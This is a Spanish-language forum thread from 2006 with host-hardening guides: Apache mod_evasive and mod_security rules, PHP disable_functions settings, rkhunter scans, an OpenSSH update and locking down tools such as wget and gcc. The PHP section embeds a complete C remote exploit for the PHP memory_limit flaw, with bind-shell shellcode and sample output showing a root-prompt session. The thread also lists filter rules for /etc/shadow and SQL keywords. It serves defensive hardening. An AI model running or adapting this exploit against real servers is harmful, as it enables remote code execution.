elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 06:07  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Seguridad (Moderadores: skapunky, Novlucker)
| | |-+  [[Seguridad]] Guias de Proteccion para Host!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [[Seguridad]] Guias de Proteccion para Host!  (Leído 4,297 veces)
MG-StaT

Desconectado Desconectado

Mensajes: 5


[[ADM-Team]]


Ver Perfil WWW
[[Seguridad]] Guias de Proteccion para Host!
« en: 1 Agosto 2006, 15:53 »

 
Guia Nº 1 : Protegerse (Basicamente) de Ataques DoS/DDoS

Hola a todos, podria decirse que soy nuevo eneste foro por mi cantidad de post, aunque yo ya los visitaba y colaboraba bajo otro Nick.

 En esta oportunidad intentare explicarles mediante guias algunas soluciones o mejor dicho algunas formas de prevenir ataques en sus Host.

Comencemos . . .

Ataques DoS/DDoS/DrDoS (Denial Of Service)

Vamos a tener en cuenta alguna definiciones sobre ataques DoS, DDoS y el mas potente a mi criterio DRDoS :

DoS: Un ataque de denegación de servicio, también llamado ataque DoS (Denial of Service), es un ataque a un sistema de ordenadores o red que causa una pérdida en el servicio a los usuarios. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima. Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le dice "denegación", pues hace que el servidor no de abasto a la cantidad de usuarios. Y esta tecnica no es de Hackers, asi que no se confundan, este tipo de tecnica es de Crackers " " creo que la diferencia es clara, ya que usan este metodo para desactivar su objetivo.

DDoS: El llamado DDoS (Distributed Denial of Service) es una ampliación del ataque DoS, se efectúa con la instalación de varios agentes remotos en muchas computadoras que pueden estar localizadas en diferentes puntos. El invasor consigue coordinar esos agentes para así, de forma masiva, amplificar el volumen del flood o saturación de información, pudiendo darse casos de un ataque de cientos o millares de computadoras dirigido a una máquina o red objetivo. Esta técnica se ha revelado como una de las más eficaces y sencillas a la hora de colapsar servidores, la tecnología distribuida ha ido sofisticándose hasta el punto de otorgar poder de causar daños serios a personas con escaso conocimiento técnico.

 Asi que bueno teniendo en cuenta el significado de un ataque de Denial of Service, creo que ya estamos en condiciones de intentar protegernos. Aunque creo que vale la pena destacar que lo que voy a explicarles es como protegerse basicamente, y evitar ataques menores echos por principiantes, ya que un ataque DoS es Infalible y no hay ningun sistema que pueda evitarlos o detenerlos, La unica salvacion de este tipo de ataques es tener una Conexion mucho mas grande que la del atacante. [/i]

 Bueno ahora si vamos a lo importante, yo voy a explicarles brevemente como instalar el MoD_Evasive , un sistema que intentara detener este tipo de ataques.

Lo primero que haremos sera descargar el mod_evasive

Descargar MODEVASIVE

 Una ves descargado, lo que haremos sera descomprimir el archivo y copiarlo en la siguiente ruta :

Código:
/usr/local/directadmin/customapache/src/modules/dosevasive/mod_evasive.c

 Luego deveran realizar un BackUp del archivo httpd.conf , y luego de eso compilar el archivo instalado (mod_evasive --> ejecutar ./configure –add-module=src/modules/dosevasive/mod_evasive.c
 Luego Make Install - Reinicias tu Apache, y ahora modificaremos el httpd.conf poniendo la configuracion que sitare a continuacion :

Gracias a el-brujo por la correccion!
Código:
<IfModule mod_evasive.c>
DOSHashTableSize 3097
DOSPageCount 5
DOSSiteCount 100
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 600
</IfModule>

mod_security
Código:
[mod_evasive.c]
SecFilterEngine On
SecFilterDefaultAction “deny,log,status:403″
SecFilterScanPOST On
SecFilterCheckURLEncoding On
SecFilterCheckCookieFormat On
SecFilterCheckUnicodeEncoding Off
SecFilterForceByteRange 1 255
SecAuditEngine RelevantOnly
SecAuditLog logs/modsec_audit_log
SecFilterDebugLevel 0
SecFilterDebugLog logs/modsec_debug_log
SecFilterSelective REQUEST_METHOD “!^GET$” chain
SecFilterSelective HTTP_Content-Type “!(^$|^application/x-www-form-urlencoded$|^multipart/form-data)”
SecFilterSelective REQUEST_METHOD “^POST$” chain
SecFilterSelective HTTP_Content-Length “^$”
SecFilterSelective HTTP_Transfer-Encoding “!^$”
SecUploadDir /tmp
SecUploadKeepFiles Off
SecFilter “\.\./”
SecFilter /etc/password
SecFilter /etc/group
SecFilter /etc/shadow
SecFilter /bin/ls
SecFilter “delete[:space:]+from”
SecFilter “insert[:space:]+into”
SecFilter “update[:space:]+set”
SecFilter “select.+from”
SecFilterSelective OUTPUT “Error Fatal:” deny,status:500
[/mod_evasive.c]
sustituir [] por < > 

 Luego lo guardan y vuelven a reiniciar su Servidor Apache, quiero recordarles que esto solo es un metodo para evitar ataques menores, ya que al menos bajo mi humilde conocimiento no existe solucion a este ataque mas que tener una muy mayor conexion a internet.

Saludos, y en breve sigo Publicando mas sobre seguridad para Host.

Atte: MG-StaT ®





« Última modificación: 1 Agosto 2006, 16:52 por MG-StaT » En línea

Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 17.232


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: [[Seguridad]] Guias de Proteccion para Host!
« Respuesta #1 en: 1 Agosto 2006, 16:14 »

Creo que es mejor usar el apxs para instalar el mod_evasive

Código:
cd /usr/local/src
wget http://www.nuclearelephant.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -zxf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/etc/httpd/bin/apxs -cia mod_evasive.c

Creo que te has equivocado y has puesto la configuración del mod_security y no la de mod_evasive  :P

La del mod_evasive debería tener un aspecto así:

Código:
<IfModule mod_evasive.c>
DOSHashTableSize 3097
DOSPageCount 5
DOSSiteCount 100
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 600
</IfModule>


En línea

"elhacker.net es único, por eso no fabrica para otras marcas"  - Prohibido prohibir

MG-StaT

Desconectado Desconectado

Mensajes: 5


[[ADM-Team]]


Ver Perfil WWW
[[Seguridad # Parte2]] Guias de Proteccion para Host!
« Respuesta #2 en: 1 Agosto 2006, 16:50 »

Hola "el-brujo" gracis por avisarme, si tenes razon, la configuracion es la del Security, y no añadi la del evasive, pero ya lo corrijo, Muchas gracias.

Guia Asegurar el PHP de Nuestro Host

 Bueno aqui seguimos con un poco mas de info, Lo que intentare en este momento es mostrarles posibles configuraciones de PHP para asegurar un poco mas nuestro Host, ya que una forma seria restringir los comandos que estamos dandole a nuestros usuarios quienes pueden darle un uso indevido.

 Lo primero que haremos es buscar nuestro php.ini $shell locate php.ini en cpanel y directadmin suele estar en /usr/local/lib/php.ini en otros tipos en /etc/php.ini  ^^

 Lo abrimos y lo editamos de la siguiente forma:

Código:
$shell vi /usr/local/lib/php.ini  

[color=Red][i](lean arriva para saber cual usar)[/i][/color]

$shell vi /etc/php.ini


buscamos en el archivo de configuración la variable “disabledfunctions”.; el comentario ; lo quitaremos y pondremos por ejemplo: disablefunctions = “system,exec,curl,”   - de esta manera evitaremos que los usuarios puedan ejecutar comando innecesarios. pero claro esta que esto debe realizarse por el Administrador del Sistema quien este totalmente al tanto de la configuracion actual y necesaria.

 Otro bueno punto de seguridad del PHP es mantenerse actualizado, ya que se conocen varios tipos de ataque a PHP desactualizado y eso es un gran riesgo tanto para nosotros como para nuestros clientes, por lo cual es una buena invercion de tiempo mantenerse actualizado.
 Aqui les detallare un problema de las versiones de PHP y las nombrare:
 Uno de los mayores problemas por versiones desactualizadas de PHP podriamos decir que es el seguiente:

PHP memory_limit (Permite la ejecucion de Codigo Remotamente)

Citar
PHP PHP 5.0 candidate 3
PHP PHP 5.0 candidate 2
PHP PHP 5.0 candidate 1
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.5
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2 .0
PHP PHP 4.2 -dev
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1 .0
PHP PHP 4.0.7 RC3
PHP PHP 4.0.7 RC2
PHP PHP 4.0.7 RC1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3 pl1
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1 pl2
PHP PHP 4.0.1 pl1
PHP PHP 4.0.1
PHP PHP 4.0 0
PHP PHP 3.0.18
PHP PHP 3.0.17
. . .  Y asi hasta Versiones aun mas inferiores . . .

 
 Esa es una vulnerabilidad bastante explotable, y bastante riesgosa, aqui les dejo el codigo malisicio que podria utilizarse para explotar esta vulnerabilidad

Código:
/* Remote exploit for the php memory_limit vulnerability found
 * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
 *
 * Vulnerability:
 * The issue is well documented in the advisory.
 *
 * Exploitation:
 * I cud not find a generic way to free a 40 byte chunk which could be later
 * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
 * which will be sent in the first request. The second request will kick in the
 * memory interuption after allocating space for the hashtable and before it is
 * initalized. The memory it will use for this allocation will contain the data
 * from our previous request which includes the pDestructor pointer pointing to
 * our nop+shellcode which is a part of the second request. This happens in the
 * zend_hash_destory function.
 *
 * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
 * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
 * Apache 2.0.49 with register_globals = On
 *
 * Gyan
 *
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=------------ \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n";

char request2[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"\r\n"
"-----------------------------264122487026375--\r\n";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"-----------------------------264122487026375--\r\n";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";


void xp_connect(char *ip)
{
        char buffer[1024];
        char temp[1024];
        int tmp;

        s.sin_family = AF_INET;
        s.sin_port = htons(PORT);
        s.sin_addr.s_addr = inet_addr(ip);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Cannot create socket\n");
                exit(-1);
        }

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
        {
                printf("Cannot connect()\n");
                exit(-1);
        }
}

void xp_write(char *data)
{

        if(write (sock, data, strlen(data)) < 0)
        {
         printf("write() failed\n");
         exit(-1);
        }
}

void xp_receive()
{
        int tmp;
        char buffer[1024*2];
 
  if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
        {
               printf("read() failed\n");
               exit(-1);
        }
}

char fill[] = " \r\n %s \r\n ";

/*This function builds the main request. In destroy_uploaded_files_hash we
 * need to pass zend_hash_apply to reach zend_hash_destroy.
 * We set
 * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
 * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
 * 3) ht->pDestructor = addr to nop+shellcode
 * 0x402c22bc <zend_hash_destroy+184>:     sub    $0xc,%esp
 * 0x402c22bf <zend_hash_destroy+187>:     pushl  0x8(%esi)
 * 0x402c22c2 <zend_hash_destroy+190>:     call   *%eax
 * 0x402c22c4 <zend_hash_destroy+192>:     add    $0x10,%esp
 *
 * $eax = ht->pDestructor
 */

void build1(int size, int count)
{
       char *p1, *p2;
       char *b1, *b2;
       int i;
int pot = 0xffffffff;
int got = 0x41414141;
int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
int sot = 0x02020202;
int ret = 0x081887a8;

b1 = (char *)malloc(size-8);
                p1 = b1;

for (i=0; i<size-8; i+=36)
{
*( (int **)p1 ) = (int *)( pot );
p1+=4;
*( (int **)p1 ) = (int *)( got );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( ret );
                p1+=4;
                *( (int **)p1 ) = (int *)( bot );
                p1+=4;
*( (int **)p1 ) = (int *)( got );
       p1+=4;
       *( (int **)p1 ) = (int *)( bot );
       p1+=4;
*( (int **)p1 ) = (int *)( sot );
p1+=4;
}

       b2 = (char *)malloc(size+1);
       p2 = b2;

sprintf(p2, fill, b1);

       for(i=0; i<count; i++)
                xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with
 * php_normalize_heap function */
void build2(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               b1 = (char *)malloc(size-8);
               p1 = b1;
               memset(p1, '\x42', size-8);
               b2 = (char *)malloc(size+1);
               p2 = b2;
               sprintf(p2, fill, b1);
               for(i=0; i<count; i++)
               xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               int pot = 0x90909090;

      b1 = (char *)malloc(size-8);
               p1 = b1;
  
         for (i=0; i<size-8-strlen(shell); i+=4) {
      *( (int **)p1 ) = (int *)( pot );
               p1+=4;
                }
  p1 = b1;

p1+= size - 8 - strlen(shell);
strncpy(p1, shell, strlen(shell));
            
             b2 = (char *)malloc(size+1);
               p2 = b2;

                sprintf(p2, fill, b1);

                for(i=0; i<count; i++)
               xp_write(b2);
     }
     


void exploit()
{

int i;

printf("Stage 1: Filling mem with bad pdestructor ... ");
for (i=0; i< 5; i++)
{
       xp_connect(IP);
           xp_write(request1);
             build1(5000, 1);
             xp_write(request2);
    close(sock);
}
printf("DONE\r\n");
printf("Stage 2: Triggering memory_limit now ... ");

xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
printf("DONE\r\n");
printf("Shell on port 36864\r\n");

}

main()
{
/*No args, no vectors*/
exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 *
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/

 Bueno en este caso la solucion es actualizar su version de PHP, para evitar ese tipo de problemas, ya que si utilizan en su php.ini la opcion register_globals = On con una version desactualizada de PHP pueden ser victimas de ataques bastantes riesgosos.

Aqui puden encontrar distintas soluciones a este problema, desde la web de SecurityFocus, con distintas soluciones para este problema:

Código:
http://www.securityfocus.com/bid/10725/solution

Continuara . . .

Atte: MG-StaT ®

PD: en breve pondre mas guias, espero sean de utilidad para alguien . . .
En línea

Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
MG-StaT

Desconectado Desconectado

Mensajes: 5


[[ADM-Team]]


Ver Perfil WWW
Re: [[Seguridad # Patre 3]] Guias de Proteccion para Host!
« Respuesta #3 en: 1 Agosto 2006, 17:01 »

Guia Nº3 - Escanear nuestro Host y buscar vulnerabilidades !

 Bueno honestamente este sistema no lo he testeado yo si no que un colega el cual me paso el dato, asi que lo comparto con ustedes como una alternativa.

Sistema RkHunter

RkHunter es una aplicacion muy completa con ella podremos escanear nuestro servidor en busca de fallos vulnerabilidades, si sus demonios o aplicaciones a nivel de servidor están actualizadas, comprobar cambios en el archivo etc passwd, y muchas mas cosas que nos podrá informar con un simple comando rkhunter -all.

Descargar y descomprimir rkhunter.

cd /usr/local/src/ wget http://downloads.rootkit.nl/rkhunter-1.2.7.tar.gz tar -zxf rkhunter-1.2.7.tar.gz cd rkhunter

Código:
Instalamos el archivo: ./install.sh | Miramos si se llama install o installer

Luego lo que haremos sera crear un nuevo cronjob para que nos envié los resultados del Scann al email de root:

Código:
crontab -e
y añadimos la siguiente lineas al contrab:

Código:
10 0 * * * /usr/local/bin/rkhunter –update > /dev/null 2>&1 25 0 * * * /usr/local/bin/rkhunter -c –nocolors –cronjob –report-mode –createlogfile –skip-keypress –quiet

La primera linera hace referencia al escaneo del servidor. La segunda linea hace referencia el envió del resultado al email del root.

Presionar CTRL+X para guardar el job y salir.

 Bueno hasta luego, en breve publicare mas info sobre Seguridad de Host.

Atte: MG-StaT ®
En línea

Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
MG-StaT

Desconectado Desconectado

Mensajes: 5


[[ADM-Team]]


Ver Perfil WWW
Re: [[Seguridad # Parte 4]] Guias de Proteccion para Host!
« Respuesta #4 en: 1 Agosto 2006, 17:12 »

Guia Parte Nº4 - Actualizar OpenSSH

 Bueno este es otro punto importante como dije mas arriva, una de las mejores inverciones que pueden hacer es la del tiempo, ya que actualizar su Host es un factor muy importante para ustedes y sus clientes/ y/o usuarios.

Comencemos:

shell sshd -v o sshd version

Bajamos OpenSSH Portable haciendo CLICK AQUI  con un  wget lo descomprimimos y ejecutamos los siguientes comandos -->

Código:
#shell ./configure –prefix=/usr –sysconfdir=/etc/ssh –with-pam

Código:
shel lmake

Código:
shell make install

Código:
shell /etc/init.d/sshd restart

Y listo ya esta actualizado, el ultimo comando Reinicia el servicio del mismo y lo restablece, por lo cual ya tenemos nuestro OpenSSH actualizado.

Saludos.

Atte: MG-StaT ®





En línea

Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
MG-StaT

Desconectado Desconectado

Mensajes: 5


[[ADM-Team]]


Ver Perfil WWW
Re: [[Seguridad # Parte 5]] Guias de Proteccion para Host!
« Respuesta #5 en: 1 Agosto 2006, 17:54 »

Guia Parte Nº 5 - Restringir el uso de Software a Riesgo en nuestro Host

 Bueno aqui les dejo los comandos para evitar que los usuarios de nuestro host puedan utilizar software a risesgo dentro de nuestros servidores, Deberan ejecutar los siguientes comandos:

Citar
NOTA: Este tipo de operaciones es necesario que sean realizadas por el Encargado del Sistema tras una verificacion de los comandos y funciones a ejecutar y/o activar/desactivar ya que puede afectar el funcionamiento de determindos servicios.

Comandos a Ejecutar:

Código:
chattr -i /usr/bin/gcc
chattr -i /usr/bin/wget
chattr -i /usr/bin/lynx
chattr -i /usr/bin/cc
chattr -i /usr/bin/w3m
chmod 700 /usr/bin/gcc
chmod 700 /usr/bin/wget
chmod 700 /usr/bin/lynx
chmod 700 /usr/bin/cc
chmod 700 /usr/bin/w3m
chmod 700 /usr/bin/who
chmod 700 /usr/bin/pinky
chmod 700 /usr/bin/finger
chattr +i /usr/bin/gcc
chattr +i /usr/bin/wget
chattr +i /usr/bin/lynx
chattr +i /usr/bin/cc
chattr +i /usr/bin/w3c
chattr +i /usr/bin/who
chattr +i /usr/bin/pinky
chattr +i /usr/bin/finger

Atte: MG-StaT ®
En línea

Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 17.232


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: [[Seguridad]] Guias de Proteccion para Host!
« Respuesta #6 en: 4 Agosto 2006, 23:09 »

Sobre la parte de "Asegurar el PHP de Nuestro Host".

4) Configuración avanzada PHP + Seguridad en PHP
http://foro.elhacker.net/index.php/topic,251.0.html

Citar
Una caracteristica muy importante, especialmente para hostings, es la posibilidad de no permitir algunas de las funciones de PHP. La razon es muy sencilla: algunas funciones de PHP como system, proc, etc hacen y permiten ejecutar comandos del  sistema, lo que puede provocar problemas de seguridad. Por ejemplo, un usuario quizas quiera ejecutar un comando "no peligroso" como uptime, pero otro usuario mal intencionado puede utilizar otros comandos del sistema para extraer informacion comprometida de la maquina: como id, who, cat, etc.

Hosting gratuitos como Lycos, iespana tienen capadas estas funciones por lo comentado arriba, es potencialmente peligroso.

Para no permitir la ejecucion concreta de algunas funciones en PHP (no confundir con comandos) es con:

disable_functions =exec,system,shell_exec,readfile

Aunque las funciones en PHP son exec(), debemos ponerlo sin ().

Por ejemplo en Mi Arroba:

Warning: fsockopen, pfsockpen, show_source, php_uname, ini_alter, ini_restore, ini_set, getrusage, get_current_user, set_time_limit, getmyuid, getmypid, dl, leak, listen, chown, chmod, chgrp, realpath, tmpfile, link() has been disabled for security reasons.

Más restrictivo:

Funciones a deshabilitar:

exec, system, shell_exec, readfile, passthru, escapeshellcmd, proc_open, posix_uname, posix_getuid, posix_geteuid, posix_getgid, getcwd

Otra manera es hacer funcionar el php en safe_mode. Esto se indica en el php.ini y se activa con la opción:

Safe_mode = ON

o sea modo seguro. Muchos hostings gratuitos lo tienen activado por defecto.  De esta manera varias funciones están desactivadas y muchas otras comprueban los permisos a la hora de leer ficheros, etc.

http://www.zend.com/manual/features.safe-mode.functions.php

allow_url_fopen off --> para no dejar que se abran archivos remotos

register_globals off  --> desactivar las variables globales para que no se pueda permitir la inyección a variables que no están supuestos a modificar (muy importante).

Otra manera intersante de progeter el php es con el magic_quotes_gpc:

Copy/paste de http://vulnfact.com/papers/VF-php_secure.txt

 - Buscamos la directiva magic_quotes_gpc, que quizá este en Off, pues la activamos con
    On. Esto hace la adición automática del caracter de escape "" en variables tomadas
    de GET, POST y Cookies.

  magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data

  - Para evitar que en lugar de enviar cadenas mal intencionadas, sean almacenadas en
    bases de datos o archivos de texto. Debemos activar magic_quotes_runtime.

  magic_quotes_runtime = Off ; magic quotes for runtime-generated data.

Para mayor seguridad, podemos hacer que un vhost (virtual host) del apache no tenga php:

#bastaría con añadir esta linea dentro del vhost del apache
php_admin_flag engine ON

O bien podemos deshabilitar el safe_mode en un vhost (dominio)

php_admin_flag safe_mode Off

Más info:
http://es2.php.net/manual/en/configuration.changes.php


open_basedir = none

En el vhost del Apache:

php_admin_value open_basedir /home/user/public_html

De esta manera sólo dejamos abrir los ficheros que estén en ese directorio (para evitar problemas).

De la misma manera deberíamos logear los errores del php pero no mostrarlos (evitaremos path disclosures, etc).

Añadimos varias instrucciones en el vhost del apache:

php_flag display_errors Off
php_flag log_errors On
php_value error_log "/home/uesr/logs/errorsphp"

Por si todo esto falla y consiguen una shell:

#le damos permisos sólo al root para este fichero
chmod 700 /usr/bin/wget
# modo invariable
chattr +i /usr/bin/wget

Lo mismo para los comandos:

wget, curl, lynx, w3m, framebuffer, links2 (navegadores) y gcc, cc y demás compiladores o binarios que nos parezcan potencialmente peligrosos.

  Se podría decir que hasta ahí tenemos mas o menos asegurado PHP. ¿Fácil, no?.
En línea

"elhacker.net es único, por eso no fabrica para otras marcas"  - Prohibido prohibir

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Seguridad en red con WPA // protección frente a ataque de desconexión « 1 2 »
Seguridad
MoLinux 18 2,137 Último mensaje 22 Enero 2012, 23:15
por m0rf
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines